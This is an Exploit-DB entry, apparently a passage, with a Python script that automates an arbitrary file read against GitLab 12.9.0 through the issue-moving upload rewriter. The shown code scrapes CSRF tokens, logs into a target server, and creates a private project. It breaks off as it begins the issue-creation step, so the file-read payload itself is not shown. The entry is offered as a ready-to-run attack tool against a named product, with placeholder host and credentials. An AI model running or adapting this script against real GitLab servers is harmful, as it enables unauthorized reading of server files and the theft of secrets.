Exploit-DB #48431
Description: GitLab 12.9.0 - Arbitrary File Read
Type: webapps
Platform: ruby
Date: 2020-05-06
Author: KouroshRZ

Exploit:
# Exploit Title: GitLab 12.9.0 - Arbitrary File Read 
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

#####################################################################################################
#                                                                                                   #			
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz                                      #
# All rights reserved.                                                                              #
#                                                                                                   #
# Redistribution and use in source and compiled forms, with or without modification, are permitted  #
# provided that the following conditions are met:                                                   #
#                                                                                                   #
#     * Redistributions of source code must retain the above copyright notice, this list of         # 
# conditions and the following disclaimer.                                                          #
#                                                                                                   #
#     * Redistributions in compiled form must reproduce the above copyright notice, this list of    #
# conditions and the following disclaimer in the documentation and/or other materials provided      #
# with the distribution.                                                                            #
#                                                                                                   #
#     * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to   #
# endorse or promote products derived from this software without specific prior written permission. #
#                                                                                                   #
##################################################################################################### 

# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

import requests
import json
from time import sleep

# For debugging
proxies = {
    'http' : '127.0.0.1:8080',
    'https' : '127.0.0.1:8080'
}

session = requests.Session()

# config
host = 'http[s]://<gitlab-address>'
username = '<you-gitlab-username>'
password = '<your-gitlab-password>'
lastIssueUrl = ""

def loginToGitLab(username, password):

    initLoginUrl = '{}/users/sign_in'.format(host)

    initLoginResult = session.get(initLoginUrl).text

    temp_index_csrf_param_start = initLoginResult.find("csrf-param")
    temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initLoginResult.find("csrf-token")
    temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)

    submitLoginData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'username' : username,
        'password' : password,
    }

    submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
    
    if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
        print("[+] You'e logged in ...")


def createNewProject(projectName):


    initProjectUrl = '{}/projects/new'.format(host)

    initProjectResult = session.get(initProjectUrl).text

    temp_index_csrf_param_start = initProjectResult.find("csrf-param")
    temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initProjectResult.find("csrf-token")
    temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
    tmp_index_2 = initProjectResult.find('value', tmp_index_1)
    tmp_index_3 = initProjectResult.find('type', tmp_index_2)
    namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]

    createProjectUrl = '{}/projects'.format(host)
    createProjectData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'project[ci_cd_only]' : 'false',
        'project[name]' : projectName,
        'project[namespace_id]' : namespace,
        'project[path]' : projectName,
        'project[description]' : '',
        'project[visibility_level]' : '0'
    }

    createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
    
    if createProjectResult.status_code == 302:

        print("[+] New Project {} created ...".format(projectName))

def createNewIssue(projectName, issueTitle, file):

    global lastIssueUrl